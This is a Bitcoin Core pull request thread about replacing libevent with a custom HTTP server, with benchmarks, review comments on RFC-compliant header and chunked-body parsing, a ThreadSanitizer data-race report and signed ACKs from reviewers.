Replace libevent with our own HTTP and socket-handling implementation #35182

pull pinheadmz wants to merge 29 commits into bitcoin:master from pinheadmz:http-rewrite-30Apr2026 changing 25 files +2475 −614
  1. pinheadmz commented at 3:41 PM on April 30, 2026: member

    Continued from #32061.

    This is a major component of removing libevent as a dependency of the project, by replacing the HTTP server used for RPC and REST with one implemented entirely within the Bitcoin Core codebase. The new HTTPServer class runs its own I/O thread, handling socket connections with code based on #30988, but tailored specifically for HTTP.

    Commit strategy:

    • Isolate the existing libevent-based HTTP server in a namespace http_libevent
    • Implement HTTP in a new namespace http_bitcoin (classes like HTTPRequest, HTTPClient, etc...)
    • Switch bitcoind from the libevent server to the new server
    • Clean up (delete http_libevent)

    RFC compliance

    I ran https://www.http-probe.com/ against v31.0 release and this PR branch at commit ddefe4263b42. While both HTTP servers failed several of the very picky compliance tests, the only differences in test results between the two branches is an improvement in the test results of the PR branch.

    Raw test results:

    Test result comparison:

    Fuzz testing

    libfuzzer

    fuzzamoto

    Integration testing:

    I am testing the new HTTP server by forking projects that integrate with bitcoin via HTTP and running their integration tests with bitcoind built from this branch (on Github actions). I will continue adding integrations over time, and re-running these CI tests as this branch gets rebased:

    • lnd master at f21262dd6 tested with this branch at ddefe4263b

    • NodeJS rpc-bitcoin master at eb0c5da7d1094629cb4a381733cb01c9bb9a4608 tested with this branch at ddefe4263b

    • electrs master at d81dc35ae8f71c22b96cf23ee279b69683f29919 tested with this branch at ddefe4263b

    • eclair master at 2dda79468a8b69a2acf7962cdac63245f7cc3ee8 tested with this branch at ddefe4263b

    • corepc master at 818e5f2929ea5113176150b2d9f7c0248992d99c tested with this branch at ddefe4263b

    • bitcoinjs-lib master at ab9fad5978bc1f4fb6542d1cde903d4427c3344e tested with this branch at ddefe4263b

    • NodeJS bitcoin-core master at 24f3d0be7ab73089542de42cc8e31903727dbdf8 tested with this branch at ddefe4263b

    Benchmarks

    To get a general idea of server speed vs. master I ran the functional test suite on all three platforms, three trials each, from the first and last commit of this branch. The first commit represents master, but adds a few extra functional tests, so the overall suite is the same in the last commit.

    Full results

    Summary:

    Tested at 37ff331f60

    There appears to be a 1-2% slow down on Ubuntu and MacOS but a 5% speed up on Windows

    Ubuntu - master Ubuntu - branch MacOS - master Macos - branch Windows - master Windows - branch
    AVERAGE 253 260 187 190 521 493
    % diff to master 2.766798419 1.604278075 -5.37428023
  2. DrahtBot commented at 3:42 PM on April 30, 2026: contributor

    <!--e57a25ab6845829454e8d69fc972939a-->

    The following sections might be updated with supplementary metadata relevant to reviewers and maintainers.

    <!--006a51241073e994b41acfe9ec718e94-->

    Code Coverage & Benchmarks

    For details see: https://corecheck.dev/bitcoin/bitcoin/pulls/35182.

    <!--021abf342d371248e50ceaed478a90ca-->

    Reviews

    See the guideline for information on the review process.

    Type Reviewers
    ACK fjahr
    Concept ACK rkrux, fanquake, 0xB10C
    Approach ACK janb84
    Stale ACK vasild

    If your review is incorrectly listed, please copy-paste <code>&lt;!--meta-tag:bot-skip--&gt;</code> into the comment that the bot should ignore.

    <!--174a7506f384e20aa4161008e828411d-->

    Conflicts

    Reviewers, this pull request conflicts with the following ones:

    • #35387 (logging: make trace logging easily usable by ryanofsky)
    • #35355 (Use atomics for determining whether trace logging is enabled by ajtowns)
    • #35322 (logging: streamline Logger state and drop redundant methods by ryanofsky)
    • #34038 (logging: replace -loglevel with -trace, expose trace logging via RPC by ajtowns)
    • #31260 (scripted-diff: Type-safe settings retrieval by ryanofsky)
    • #26022 (Add util::ResultPtr class by ryanofsky)
    • #25722 (refactor: Use util::Result class for wallet loading by ryanofsky)
    • #25665 (refactor: Add util::Result failure types and ability to merge result values by ryanofsky)

    If you consider this pull request important, please also help to review the conflicting pull requests. Ideally, start with the one that should be merged first.

    <!--5faf32d7da4f0f540f40219e4f7537a3-->

    LLM Linter (✨ experimental)

    Possible places where named args for integral literals may be used (e.g. func(x, /*named_arg=*/0) in C++, and func(x, named_arg=0) in Python):

    • Lookup(address_string, port, false) in src/httpserver.cpp

    Possible places where comparison-specific test macros should replace generic comparisons:

    • [test/functional/interface_http.py] assert response.status == err -> use assert_equal(response.status, err)

    <sup>2026-05-27 15:46:52</sup>

  3. fanquake added the label RPC/REST/ZMQ on Apr 30, 2026
  4. in src/httpserver.h:65 in e728c71f5a
      92 | -/** Return evhttp event base. This can be used by submodules to
      93 | - * queue timers or custom events.
      94 | - */
      95 | -struct event_base* EventBase();
      96 | +//! Maximum size of an HTTP request body (32 MB).
      97 | +constexpr uint64_t MAX_BODY_SIZE{0x02000000};
    


    vasild commented at 5:01 PM on April 30, 2026:
    //! Maximum size of an HTTP request body.
    constexpr uint64_t MAX_BODY_SIZE{32_MiB};
    

    (and include <util/byte_units.h>)


    pinheadmz commented at 5:29 PM on April 30, 2026:

    cool, using util/byte_units here

  5. in src/httpserver.cpp:417 in e728c71f5a
     497 | +            }
     498 | +
     499 | +            const auto chunk_size{ToIntegral<uint64_t>(util::TrimStringView(chunk_size_noext), /*base=*/16)};
     500 | +            if (!chunk_size) throw std::runtime_error("Cannot parse chunk length value");
     501 | +
     502 | +            if (*chunk_size > MAX_SIZE - m_body.size()) throw ContentTooLargeError("Chunk will exceed max body size");
    


    vasild commented at 5:08 PM on April 30, 2026:

    I think this is the case, but it is not immediately obvious that MAX_SIZE is greater or equal to m_body.size(). We do not want MAX_SIZE - m_body.size() to turn negative. It wouldn't hurt to add an extra check for this. if (MAX_SIZE < m_body.size()) { throw ..., or assert().


    pinheadmz commented at 5:30 PM on April 30, 2026:

    Adding the underflow check here. Also switched to MAX_BODY_SIZE which shouldve been in last rebase

  6. in src/httpserver.cpp:436 in e728c71f5a
     516 | +                // See https://httpwg.org/specs/rfc9112.html#rfc.section.7.1.2
     517 | +                const size_t trailer_start{reader.Consumed()};
     518 | +                while (true) {
     519 | +                    auto maybe_trailer = reader.ReadLine();
     520 | +                    if (reader.Consumed() - trailer_start > MAX_HEADERS_SIZE) {
     521 | +                      throw std::runtime_error("HTTP chunked trailer exceeds size limit");
    


    vasild commented at 5:10 PM on April 30, 2026:

    2 more spaces in the indentation of throw.

                        if (reader.Consumed() - trailer_start > MAX_HEADERS_SIZE) {
                            throw std::runtime_error("HTTP chunked trailer exceeds size limit");
    

    pinheadmz commented at 5:36 PM on April 30, 2026:

    👍

  7. vasild approved
  8. vasild commented at 5:14 PM on April 30, 2026: contributor

    ACK e728c71f5adafdcbc4b6a29d154ea5705003ba60

    <details> <summary>Show Signature</summary>

    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA256
    
    ACK e728c71f5adafdcbc4b6a29d154ea5705003ba60
    -----BEGIN PGP SIGNATURE-----
    
    iQQzBAEBCAAdFiEE5k2NRWFNsHVF2czBVN8G9ktVy78FAmnzjdkACgkQVN8G9ktV
    y7/UOSAAgi7UxBy3GrlhfUNH2hLetiZDtswp6EWjSgcRj3GjYUdKjhikRaED4zqc
    bOSh942CdU0LFTm14PqZ4bhybqjfMe8mZmvSoBWx+kGJKyiNOWM0P4qDzscKq5IC
    adAvv6A9SxzfnFSskf1aM97X3WeFgTBeT4S2ycZ6uurdqCCbfwtMtGgj0wqBw+Na
    r8p17RjJUiz78FNPaQ5Y0GDXsKhiTbs1OXZ8Tn2qtviy1QjAyDZLxo9tR768Cf8d
    32VcOMRoxBQ70fCtds5Zne+CjlGlAqw4P5tCKd337L2/3wO+uxwIAlAQHu1MM41f
    itFV8+d34lM7VdsyWTNYYgc0dDqgvUroNZdTHwGJJzEni3RbTYv4H6bW13Av76ci
    ncUOYJFTW+XexMLKvl8QZaWNASKZGPHtp9jciOvEtORRIdPDmEJxgLpQEYT3ITES
    oI5uLCd9uGcUK/zOvIdfUDMdL30fiB0YCcRU9kW3DebdYAWdBdovB/S0NP0VP0J2
    F18MHXGybUektYyqYavjuRzBE+lmfZlHW3cblUvbVTzU6/BeCiJHDDaDiRYcV3ba
    qz6D+JU67f+Q8HxDk/oLXfHRQYODn847USgaFuc9TqK495+jEyBfSNmGWGZPVMAX
    GA6hTPmVq5z6pqoKTbvF1v4aCv4k6n+2EJBH1o4N7Q+fHxNVlzOsff/yCiZ88oaw
    W1aM2Co2pJ2YESxddUR1QnpbP9JFMRAlJYzGkDfMjD8rLKZppQm2v4fnu0R5xZxX
    Q6bBSeRhzBs+QLs180rzluUNJ8laIAzAmuJe4zOH6MPT/Js7siogj1NYQK4/t123
    3/QQiSFWJ1hHbg8D6M5wAaBjpEoxzJ825xjMc6zud7UjHlslBYPsWbYxvz2gDZ8r
    5gbsqoprGOteHvc0eyuDf7yxLoSdqUYtl9EXwZmLt20edBcbDHW49hGd6JsTCZk8
    MNGOISi4MiXkPjOa/XBil3IN25YuB4rAr4Bx71D/ptgl8JjuVGU6HIYpoySMj89D
    uWR/IV15UcPXQBAhJsh7ZCOsY9MzfQ8QLskiLsX9Mfpe6/MOfi1N3XFWjozehPkq
    YzQ/82BK8HwmMJ/hXIppJhlwWncHvnQrtZ1NSsR8Bs0ca86GZKHR6s7LFFupej40
    OWEI6cNzSk2hUosNgttmcHdjznIwxNcDF7wfVDW1yc7h9XEUUgiMzU69E53J6Hgk
    GTW92NM/kw5kvY54ghehJDvNLY8Pq1PblIOZmXakMYrWpDxYlu2l0zN+sYZ7sdkV
    JfU7yWtymLHrg0TdIPuTzuhTrvpQTksYO/vo3hyJS/5XqrIWbyEgc+LtZvnIl8wY
    Cf6tnL9dxbIWtp0UoqzGrooYBUvXlA==
    =2kAW
    -----END PGP SIGNATURE-----
    

    vasild's public key is on openpgp.org

    </details>

  9. pinheadmz force-pushed on Apr 30, 2026
  10. pinheadmz commented at 7:51 PM on April 30, 2026: member

    push to 0a4929c0bf:

    Address feedback from @vasild

  11. pinheadmz force-pushed on Apr 30, 2026
  12. pinheadmz commented at 8:15 PM on April 30, 2026: member

    push to 5952e48ff4:

    rebase on master to fix CI (see #35186)

  13. in src/httpserver.cpp:310 in 0a4929c0bf outdated
     360 | +        // https://httpwg.org/specs/rfc9110.html#rfc.section.5.6.2
     361 | +        const size_t pos{line.find(':')};
     362 | +        if (pos == std::string::npos) throw std::runtime_error("HTTP header missing colon (:)");
     363 | +
     364 | +        // Whitespace is optional
     365 | +        std::string key = util::TrimString(std::string_view(line).substr(0, pos));
    


    janb84 commented at 8:15 PM on April 30, 2026:
            // RFC 9110 Section 5.6.2: no whitespace is allowed between the field name and colon.
            if (pos > 0 && (line[pos - 1] == ' ' || line[pos - 1] == '\t')) {
                throw std::runtime_error("HTTP header has whitespace before colon (:)");
            }
    
            // optional whitespace is allowed around the field value but not within the field name.
            std::string key{std::string_view(line).substr(0, pos)};
    

    NIT: current code allows optional whitespace in a way that is niet compliant with RFC 9112 Section 5.1. This (as per RFC) MUST return a 400, the code currently returns a 405


    b-l-u-e commented at 6:03 PM on May 3, 2026:

    I agree this should be rejected with 400 Bad Request , thou i tested both sides and the branch return 200 OK, not 405, while on master, the same request returns 401 Unauthorized So this also looks like a libevent parity regression


    pinheadmz commented at 5:20 PM on May 4, 2026:

    @b-l-u-e just to be clear, the current code behaves the same as libevent? I can't tell if 401 from libevent means it accepted the extra whitespace or not.

  14. in src/test/httpserver_tests.cpp:161 in 0a4929c0bf outdated
     165 | +    {
     166 | +        // contains NUL
     167 | +        util::LineReader reader{std::string_view{"X-Custom: foo\0bar\n", 18}, /*max_line_length=*/MAX_HEADERS_SIZE};
     168 | +        BOOST_CHECK_EXCEPTION(HTTPHeaders{}.Read(reader), std::runtime_error, HasReason{"Invalid header contains NUL"});
     169 | +    }
     170 | +    {
    


    janb84 commented at 8:15 PM on April 30, 2026:
        {
            // RFC 9110 Section 5.6.2: no whitespace allowed between field name and colon
            util::LineReader reader{"Host : value\n", /*max_line_length=*/MAX_HEADERS_SIZE};
            BOOST_CHECK_EXCEPTION(HTTPHeaders{}.Read(reader), std::runtime_error, HasReason{"HTTP header has whitespace before colon (:)"});
        }
        {
            // Tab before colon is also rejected
            util::LineReader reader{"Host\t: value\n", /*max_line_length=*/MAX_HEADERS_SIZE};
            BOOST_CHECK_EXCEPTION(HTTPHeaders{}.Read(reader), std::runtime_error, HasReason{"HTTP header has whitespace before colon (:)"});
        }
        {
    

    Extra test for the RFC 9110 no whitespace allowed between field name and colon rule.


    pinheadmz commented at 8:18 PM on April 30, 2026:

    How does this test play on master? See #32061#pullrequestreview-4172127857 if this is the same issue, I think libevent is also lenient about whitesspace in headers


    janb84 commented at 8:44 PM on April 30, 2026:

    master fails also. so lets park this for an followup.

  15. DrahtBot added the label CI failed on Apr 30, 2026
  16. DrahtBot commented at 8:16 PM on April 30, 2026: contributor

    <!--85328a0da195eb286784d51f73fa0af9-->

    🚧 At least one of the CI tasks failed. <sub>Task iwyu: https://github.com/bitcoin/bitcoin/actions/runs/25186108957/job/73843745290</sub> <sub>LLM reason (✨ experimental): CI failed because IWYU reported missing/incorrect includes (auto-fix required) and the job was forced to fail (Failure generated from IWYU).</sub>

    <details><summary>Hints</summary>

    Try to run the tests locally, according to the documentation. However, a CI failure may still happen due to a number of reasons, for example:

    • Possibly due to a silent merge conflict (the changes in this pull request being incompatible with the current code in the target branch). If so, make sure to rebase on the latest commit of the target branch.

    • A sanitizer issue, which can only be found by compiling with the sanitizer and running the affected test.

    • An intermittent issue.

    Leave a comment here, if you need help tracking down a confusing failure.

    </details>

  17. DrahtBot removed the label CI failed on Apr 30, 2026
  18. rkrux commented at 7:32 AM on May 1, 2026: contributor

    Concept ACK 5952e48ff4490e3c0607bd34284112bcdbdeee05, will review

    Can update the developer notes as well in this PR by replacing the libevent occurrences with the new one here:

    https://github.com/bitcoin/bitcoin/blob/404470505a8b574b5e4b0e1ffc481ed3fc8caf77/doc/developer-notes.md?plain=1#L686-L700

  19. vasild approved
  20. vasild commented at 8:56 AM on May 1, 2026: contributor

    ACK 5952e48ff4490e3c0607bd34284112bcdbdeee05

    <details> <summary>Show Signature</summary>

    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA256
    
    ACK 5952e48ff4490e3c0607bd34284112bcdbdeee05
    -----BEGIN PGP SIGNATURE-----
    
    iQQzBAEBCAAdFiEE5k2NRWFNsHVF2czBVN8G9ktVy78FAmn0arQACgkQVN8G9ktV
    y7+8Lx/9G3dv9qVk1OA65C7SeNOOMc/jE2gXqkmhSQ6M9SKzrsUjBAetZb5vH7Q1
    XiVOc7WKC2UKXWm7kvl0+LoBNpI2T33KkAE+WUsD82AgFHIlt+vWWlqCDBRbrrVq
    iKOPBcr4WJL7vvvs/x86+w8J8kGvZVATDijujqm5k3SP5FimJ6eGSw4cStrp0yrb
    Jm0ZXAwT5Aplg/7w496KxvR8W1+n9af8RX8aoWl3Ooc6XSd+tlFrM8sSDxCumekB
    QQmW5PdBlr9n40kMXJd42ItcbV35fZSlIYafH9Zgj3N9M4W3aV5w4CiVVr9sd0tR
    oH2KTSV8L+S8RnM/O6v3DQmj9vL0cPxYl2gV5P25wQozz3KzOdMS7wRnYPEg5+qj
    UQPr7cSMf31PzolScHbGsxjZNYpvHy5Db3IJ0coG6wC2Cv1ARV2K0XF5JhyvtmYS
    3KWOMtelQ52rYzmHgG1QDDYn9LL8rcEQbHGeBRunwQiiutG/VMAMnfPAeUamNj3Y
    QsNWV3NQwTfbQCM8P8Pwso5k5k53sh0eOGGofsPh2q7fLwS1WIRjzikAOVjPDThJ
    JF57PPcgC3Zq0YmDKWyHa7fi7WiYDAzYVE+Z8ML65efhFQpQCoE4dvZalj/jCDWV
    /CfSTyuEAAsJJpDqLV5NO6bJcxbYPdcb1KmMrgMjKkNNUw8RPP8nYucjOHTHu8ku
    CT9y23+uB6p5uphVaRk6Ay8/yolucaHWx/ykBp0gldU2bb/PO2sTvl/pWJ6mAl+g
    +t5Ei89CvbdzjvOIbHOEP7Oiim52ZPuYQ9owr85v1tCkdZHBRJYf1BuxI2RefMAo
    EikQk35kDqk0fW3+uY4OTiG21bnvbK1R/ISXtmrX1tbmwBCAuyr3CfXv0dxqsKqM
    BQW5vf/5vMAfYCepzB0xBrAL+nb71m5IIiTOtuTZLFboNdt6klOv9W8ksJvjvtNg
    4crJwWsL8zx9xdCgoashHQ55kuNnKfaCXt6Z8DGLxtfQKRiPFW+06ZVaq9dkhBmO
    vjmqDej2Tiic9bWIDgUhwca+FP4KRRwx7bEB6P4tcA/GDRRfr6RiKWiMjCmvqNwS
    jF/vaXMa7kHp/bbF2qJVWtKg14kJMBlsEDMdfXtgccs38lDehNqZRQHHVp/fyKth
    IIp5tRjqsVInakGkpuDvzEQxYxOgtxrc7/7L7ZBKHC/28dZL1JtL92BlHeO0g3mb
    QlaCAyJnXcg5lhN03VtjKuGFrRQ7mRS1DfUucN6D7LaqP2k4P4gqM+QjwA4DnfiI
    d9OecGJleocumnbFfaMsWOgKnS1T2TFhojxnGxCY31+HpnR0Kzb7D7n1srEHOH1t
    e9YQXXclQIn+SwIlERiph5QNPimXCA==
    =xzuk
    -----END PGP SIGNATURE-----
    

    vasild's public key is on openpgp.org

    </details>

  21. DrahtBot requested review from rkrux on May 1, 2026
  22. b-l-u-e commented at 12:18 PM on May 1, 2026: contributor

    i noticed a behavior that PUT is being treated as a known HTTPRequestMethod but the HTTP dispatch layer only rejects UNKNOWN methods. so PUT / is allowed through the registered path handler and is later rejected by JSON-RPC rather than being rejected at the HTTP layer like other unsupported methods.

    i tested the behavior:

     curl -i --user user:pass -X PUT \
      -H 'Content-Type: application/json' \
      --data '{"method":"getblockcount","params":[]}' \
      http://127.0.0.1:18443/
    echo
    HTTP/1.1 405 Method Not Allowed
    Date: Fri, 01 May 2026 12:19:35 GMT
    Content-Length: 41
    Content-Type: text/html; charset=ISO-8859-1
    
    JSONRPC server handles only POST requests
    
  23. pinheadmz commented at 2:48 PM on May 1, 2026: member

    @b-l-u-e

    PUT is being treated as a known HTTPRequestMethod

    I think this is correct, and on master with libevent your curl command has the same result. In the future bitcoin might support an HTTP API with PUT so I don't think it needs to be rejected here. Also note there is a functional test in this PR that covers the more suspicious methods:

        def check_disallowed_http_methods(self):
            self.log.info("Check that unsafe or unsupported HTTP methods are rejected")
            for method in ['TRACE', 'CONNECT', 'DELETE', 'PATCH', 'OPTIONS']:
    
  24. b-l-u-e commented at 3:39 PM on May 1, 2026: contributor

    I think this is correct, and on master with libevent your curl command has the same result. In the future bitcoin might support an HTTP API with PUT so I don't think it needs to be rejected here. Also note there is a functional test in this PR that covers the more suspicious methods:

        def check_disallowed_http_methods(self):
            self.log.info("Check that unsafe or unsupported HTTP methods are rejected")
            for method in ['TRACE', 'CONNECT', 'DELETE', 'PATCH', 'OPTIONS']:
    

    ahh yes it was an existing behavior confirmed with libevent and yeah these methods carries more risk as well thanks for clarificaton

  25. b-l-u-e commented at 7:59 PM on May 1, 2026: contributor

    i think theres data race on m_request_dispatcher during shutdown when SetRequestHandler is called from the main thread during InterruptHTTPServer() while the I/O thread is still inside MaybeDispatchRequestsFromClient invoking the same function

    heres main thread during shutdown

    diff --git a/src/httpserver.h b/src/httpserver.h
    +++ b/src/httpserver.h
    @@ -0,0 +238,1 @@
    +    void SetRequestHandler(std::function<void(std::unique_ptr<HTTPRequest>&&)> func) { m_request_dispatcher = func; }
    
    

    here were its called from

    +++ b/src/httpserver.cpp
    @@ -0,0 +1195,7 @@
    +void InterruptHTTPServer()
    +{
    +    LogDebug(BCLog::HTTP, "Interrupting HTTP server");
    +    if (g_http_server) {
    +        // Reject all new requests
    +        g_http_server->SetRequestHandler(RejectRequest);
    +    }
    

    HTTP I/O thread

    +++ b/src/httpserver.cpp
    @@ -0,0 +977,5 @@
    +    if (!client->m_req_queue.empty()) {
    +        client->m_req_busy = true;
    +        m_request_dispatcher(std::move(client->m_req_queue.front()));
    +        client->m_req_queue.pop_front();
    +    }
    

    called from I/O thread started by StartSocketsThreads()

    +++ b/src/httpserver.cpp
    @@ -0,0 +709,5 @@
    +void HTTPServer::StartSocketsThreads()
    +{
    +    m_thread_socket_handler = std::thread(&util::TraceThread,
    +                                          "http",
    +                                          [this] { ThreadSocketHandler(); });
    

    <details> <summary>output</summary>

    build-tsan/tsan.log.115918
    2:WARNING: ThreadSanitizer: data race (pid=115918)
    6:    [#2](/bitcoin-bitcoin/2/) http_bitcoin::HTTPServer::MaybeDispatchRequestsFromClient(std::shared_ptr<http_bitcoin::HTTPClient> const&) const /home/user/projects/bitcoin/src/httpserver.cpp:979 (test_bitcoin+0x13e581b)
    26:    [#3](/bitcoin-bitcoin/3/) http_bitcoin::HTTPServer::SetRequestHandler(std::function<void (std::unique_ptr<http_bitcoin::HTTPRequest, std::default_delete<http_bitcoin::HTTPRequest> >&&)>) /home/user/projects/bitcoin/src/httpserver.h:238 (test_bitcoin+0x90c1c6)
    100:SUMMARY: ThreadSanitizer: data race /usr/include/c++/13/bits/std_function.h:247 in std::_Function_base::_M_empty() const
    103:WARNING: ThreadSanitizer: data race (pid=115918)
    106:    [#1](/bitcoin-bitcoin/1/) http_bitcoin::HTTPServer::MaybeDispatchRequestsFromClient(std::shared_ptr<http_bitcoin::HTTPClient> const&) const /home/user/projects/bitcoin/src/httpserver.cpp:979 (test_bitcoin+0x13e583c)
    126:    [#3](/bitcoin-bitcoin/3/) http_bitcoin::HTTPServer::SetRequestHandler(std::function<void (std::unique_ptr<http_bitcoin::HTTPRequest, std::default_delete<http_bitcoin::HTTPRequest> >&&)>) /home/user/projects/bitcoin/src/httpserver.h:238 (test_bitcoin+0x90c213)
    200:SUMMARY: ThreadSanitizer: data race /usr/include/c++/13/bits/std_function.h:591 in std::function<void (std::unique_ptr<http_bitcoin::HTTPRequest, std::default_delete<http_bitcoin::HTTPRequest> >&&)>::operator()(std::unique_ptr<http_bitcoin::HTTPRequest, std::default_delete<http_bitcoin::HTTPRequest> >&&) const
    203:WARNING: ThreadSanitizer: data race (pid=115918)
    209:    [#4](/bitcoin-bitcoin/4/) http_bitcoin::HTTPServer::MaybeDispatchRequestsFromClient(std::shared_ptr<http_bitcoin::HTTPClient> const&) const /home/user/projects/bitcoin/src/httpserver.cpp:979 (test_bitcoin+0x13e5849)
    229:    [#3](/bitcoin-bitcoin/3/) http_bitcoin::HTTPServer::SetRequestHandler(std::function<void (std::unique_ptr<http_bitcoin::HTTPRequest, std::default_delete<http_bitcoin::HTTPRequest> >&&)>) /home/user/projects/bitcoin/src/httpserver.h:238 (test_bitcoin+0x90c17d)
    303:SUMMARY: ThreadSanitizer: data race /usr/include/c++/13/bits/invoke.h:60 in __invoke_impl<void, httpserver_tests::race_set_request_handler_during_dispatch::test_method()::<lambda(std::unique_ptr<http_bitcoin::HTTPRequest>&&)>&, std::unique_ptr<http_bitcoin::HTTPRequest, std::default_delete<http_bitcoin::HTTPRequest> > >
    
    build-tsan/tsan.log.45095
    2:WARNING: ThreadSanitizer: data race (pid=45095)
    6:    [#2](/bitcoin-bitcoin/2/) http_bitcoin::HTTPServer::MaybeDispatchRequestsFromClient(std::shared_ptr<http_bitcoin::HTTPClient> const&) const /home/user/projects/bitcoin/src/httpserver.cpp:979 (test_bitcoin+0x13e581b)
    26:    [#3](/bitcoin-bitcoin/3/) http_bitcoin::HTTPServer::SetRequestHandler(std::function<void (std::unique_ptr<http_bitcoin::HTTPRequest, std::default_delete<http_bitcoin::HTTPRequest> >&&)>) /home/user/projects/bitcoin/src/httpserver.h:238 (test_bitcoin+0x90c385)
    100:SUMMARY: ThreadSanitizer: data race /usr/include/c++/13/bits/std_function.h:247 in std::_Function_base::_M_empty() const
    103:WARNING: ThreadSanitizer: data race (pid=45095)
    106:    [#1](/bitcoin-bitcoin/1/) http_bitcoin::HTTPServer::MaybeDispatchRequestsFromClient(std::shared_ptr<http_bitcoin::HTTPClient> const&) const /home/user/projects/bitcoin/src/httpserver.cpp:979 (test_bitcoin+0x13e583c)
    126:    [#3](/bitcoin-bitcoin/3/) http_bitcoin::HTTPServer::SetRequestHandler(std::function<void (std::unique_ptr<http_bitcoin::HTTPRequest, std::default_delete<http_bitcoin::HTTPRequest> >&&)>) /home/user/projects/bitcoin/src/httpserver.h:238 (test_bitcoin+0x90c213)
    200:SUMMARY: ThreadSanitizer: data race /usr/include/c++/13/bits/std_function.h:591 in std::function<void (std::unique_ptr<http_bitcoin::HTTPRequest, std::default_delete<http_bitcoin::HTTPRequest> >&&)>::operator()(std::unique_ptr<http_bitcoin::HTTPRequest, std::default_delete<http_bitcoin::HTTPRequest> >&&) const
    203:WARNING: ThreadSanitizer: data race (pid=45095)
    209:    [#4](/bitcoin-bitcoin/4/) http_bitcoin::HTTPServer::MaybeDispatchRequestsFromClient(std::shared_ptr<http_bitcoin::HTTPClient> const&) const /home/user/projects/bitcoin/src/httpserver.cpp:979 (test_bitcoin+0x13e5849)
    229:    [#3](/bitcoin-bitcoin/3/) http_bitcoin::HTTPServer::SetRequestHandler(std::function<void (std::unique_ptr<http_bitcoin::HTTPRequest, std::default_delete<http_bitcoin::HTTPRequest> >&&)>) /home/user/projects/bitcoin/src/httpserver.h:238 (test_bitcoin+0x90c17d)
    303:SUMMARY: ThreadSanitizer: data race /usr/include/c++/13/bits/invoke.h:60 in __invoke_impl<void, httpserver_tests::race_set_request_handler_during_dispatch::test_method()::<lambda(std::unique_ptr<http_bitcoin::HTTPRequest>&&)>&, std::unique_ptr<http_bitcoin::HTTPRequest, std::default_delete<http_bitcoin::HTTPRequest> > >
    
  26. in src/httpserver.cpp:451 in 5952e48ff4
     531 | +            }
     532 | +
     533 | +            // Even though every chunk size is explicitly declared,
     534 | +            // they are still terminated by a CRLF we don't need.
     535 | +            auto crlf = reader.ReadLine();
     536 | +            if (!crlf || !crlf.value().empty()) throw std::runtime_error("Improperly terminated chunk");
    


    b-l-u-e commented at 9:45 PM on May 2, 2026:

    i found regression in the chunked request body parser. A valid chunked request can be split by TCP between the chunk data and the trailing CRLF on master branch libevent waits for the remaining bytes and then processes the request but for this branch treats the temporary missin CRLF as malformed and returns 400 bad request

    I sent a chunked RPC request in two writes

    1. headers + chunk size + chunk body without the trailing CRLF
    2. after 1 second sent "\r\n0\r\n\r\n"
    this branch returns:
    HTTP/1.1 400 Bad Request
    
    master returns:
    HTTP/1.1 200 OK
    {"result":101,"error":null,"id":"t"}
    

    pinheadmz commented at 5:18 PM on May 4, 2026:

    Thanks, caught this and added a test. Also refactored the "last chunk" section of LoadBody so its easier to read. The fix is splitting up if (!crlf || !crlf.value().empty()) into separate handlers.

  27. pinheadmz force-pushed on May 4, 2026
  28. pinheadmz commented at 5:41 PM on May 4, 2026: member

    push to 2c1deb6329:

    Address feedback from @janb84 and @b-l-u-e. Fix a race condition and chunked transfer edge case.

    i think theres data race on m_request_dispatcher during shutdown

    Great catch. I fixed this by putting a lock on m_request_dispatcher

    • re: #35182#pullrequestreview-4210432122

    Can update the developer notes as well in this PR by replacing the libevent occurrences with the new one here:

    Added this change and also fixed the torcontrol thread in which libevent was removed by #34158!

  29. DrahtBot added the label CI failed on May 4, 2026
  30. DrahtBot commented at 7:01 PM on May 4, 2026: contributor

    <!--85328a0da195eb286784d51f73fa0af9-->

    🚧 At least one of the CI tasks failed. <sub>Task i686, no IPC: https://github.com/bitcoin/bitcoin/actions/runs/25333774798/job/74273789135</sub> <sub>LLM reason (✨ experimental): CI failed because CTest reported 1 failing test in the Bitcoin Core Test Suite: sock_tests.</sub>

    <details><summary>Hints</summary>

    Try to run the tests locally, according to the documentation. However, a CI failure may still happen due to a number of reasons, for example:

    • Possibly due to a silent merge conflict (the changes in this pull request being incompatible with the current code in the target branch). If so, make sure to rebase on the latest commit of the target branch.

    • A sanitizer issue, which can only be found by compiling with the sanitizer and running the affected test.

    • An intermittent issue.

    Leave a comment here, if you need help tracking down a confusing failure.

    </details>

  31. maflcko commented at 2:45 PM on May 5, 2026: member

    The CI failure in the [test ancestor commits](https://github.com/bitcoin/bitcoin/actions/runs/25333774798/job/74427763314?pr=35182#logs) task is unrelated. In fact, it is fixed by this pull request, see #34731 (comment)

  32. in src/httpserver.h:481 in 2c1deb6329 outdated
     588 | +    //! `m_connection_busy=true` can be overridden by `m_disconnect=true` (we disconnect).
     589 | +    std::atomic_bool m_connection_busy{true};
     590 | +
     591 | +    //! Client has requested to keep the connection open after all requests have been responded to.
     592 | +    //! Set by (potentially multiple) worker threads and checked in the HTTPServer I/O loop.
     593 | +    //! `m_keep_alive=true` can be overriden `by HTTPServer.m_disconnect_all_clients` (we disconnect).
    


    maflcko commented at 2:46 PM on May 5, 2026:

    nit: Not sure if you want to address the llm linter nits, but I think they are correct? (https://github.com/bitcoin/bitcoin/pull/35182#issuecomment-4353912025) Feel free to ignore them, though, just some nits.


    pinheadmz commented at 2:40 PM on May 12, 2026:

    taking all these suggestions on next push, thanks!

  33. fanquake commented at 10:45 AM on May 8, 2026: member

    Concept ACK

  34. pinheadmz referenced this in commit e8e4cb3238 on May 8, 2026
  35. pinheadmz force-pushed on May 8, 2026
  36. pinheadmz commented at 7:27 PM on May 8, 2026: member

    push to e8e4cb3238:

    Address comments from @janb84 and @b-l-u-e about generally copying libevent behavior vs "doing HTTP better". I am changing my stance, we should fix libevent's weird edge cases. See #35182 (review) for an example. I outlined the rest in a release-notes file. The changes in our HTTP behavior compared to libevent are also codified in the changes to the interface_http test in commit 9c9cf30336 http: switch servers from libevent to bitcoin.

    I'll continue fuzz & integration next week. Since the edge cases we're changing are intended to be more compliant with RFC than libevent I don't expect any conflicts with common HTTP clients (unless they are more poorly maintained than libevent!)

    For convenience,

    • Stricter limit on maximum headers size
    • Reject requests with whitespace in headers field-names
    • "Line Folding" is rejected (whitespace at start of a headers line)
    • Tolerate % at the end of requested URLs
    • Multiple "Content-Length" headers with different values are rejected
  37. DrahtBot removed the label CI failed on May 8, 2026
  38. in doc/release-notes-35182.md:8 in e8e4cb3238
